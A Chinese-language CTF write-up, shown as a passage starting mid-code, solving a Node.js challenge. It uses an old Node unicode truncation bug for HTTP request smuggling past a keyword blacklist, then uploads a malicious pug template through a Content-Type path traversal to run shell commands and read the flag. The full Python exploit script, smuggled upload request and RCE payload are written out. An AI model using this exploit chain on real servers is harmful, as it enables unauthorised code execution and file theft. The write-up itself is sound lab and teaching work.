res.send(resps);
}catch (e) {
res.send(e.message);
}
}).on('error', (e) => {
res.send(e.message);});
});
} catch (error) {
console.log(error);
}
}
虽然可以发送请求但只能向/source
,估计就是要想办法绕出这个限制。这里自然就会想到http走私,但是nodejs对换行符会进行处理,防止CRLF
不过在nodejs 8.12.0
版本中存在着会将高位字符丢弃,只保留低位字符的问题。也就是发出http请求传入0xffff
,最终会被处理为0xff
Bug:HTTP请求路径中的unicode字符损坏
通过这个漏洞就可以进行http走私,同时也可以不用考虑黑名单的过滤
function blacklist(url) {
var evilwords = ["global", "process","mainModule","require","root","child_process","exec","\"","'","!"];
var arrayLen = evilwords.length;
for (var i = 0; i < arrayLen; i++) {
const trigger = url.includes(evilwords[i]);
if (trigger === true) {
return true
}
}
}
python下这样处理一下就行payload = ''.join(chr(int('0xff' + hex(ord(c))[2:].zfill(2), 16)) for c in payload)
然后就是要传什么上去了,nodejs不能像php一样传一个马上去执行
这里看到在/
下可以通过action
去调用一个模板
app.get('/', function(req, res) {
var action = req.query.action?req.query.action:"index";
if( action.includes("/") || action.includes("\\") ){
res.send("Errrrr, You have been Blocked");
}
file = path.join(__dirname + '/template/'+ action +'.pug');
var html = pug.renderFile(file);
res.send(html);
});
在开始也引入了模板的包
var pug = require('pug');
于是去查一下pug模板的使用
pug模板引擎(原jade)
基本和html差不多,要注意的是如果要使用js代码,需要在代码前用-
标记
构造一下上传的http包(这里调了好久)
然后通过控制Content-Type
,将文件上传到template目录下,使pug文件能被读到
var file_path = '/uploads/' + req.files[0].mimetype +"/";
这里还需要将\n
换为\r\n
来造成CRLF
import urllib.parse
import requests
payload = ''' HTTP/1.1
POST /file_upload HTTP/1.1
Host: localhost:8081
Content-Type: multipart/form-data; boundary=---------------------------12837266501973088788260782942
Content-Length: 6279
Connection: close
-----------------------------12837266501973088788260782942
Content-Disposition: form-data; name="file"; filename="ls.pug"
Content-Type: ../template
- return global.process.mainModule.require('child_process').execSync('ls /')
-----------------------------12837266501973088788260782942--
'''
payload = payload.replace("\n", "\r\n")
payload = ''.join(chr(int('0xff' + hex(ord(c))[2:].zfill(2), 16)) for c in payload)
print(payload)
r = requests.get('http://3806a2c7-9d80-451f-9af2-44d44dd18dd0.node3.buuoj.cn/core?q=' + urllib.parse.quote(payload))
print(r.text)
读一下根目录
flag文件是flag.txt
,于是cat /flag.txt
得到flag
这里也可以通过include来读flag
html
include ../../../../../../../../flag.txt
至于反弹shell,好像BUU弹不了就算了
这题的原题也可以去看看
Split second
大佬博客收藏夹加一,师傅老二刺猿了
还只是一只咸鱼安全狗而已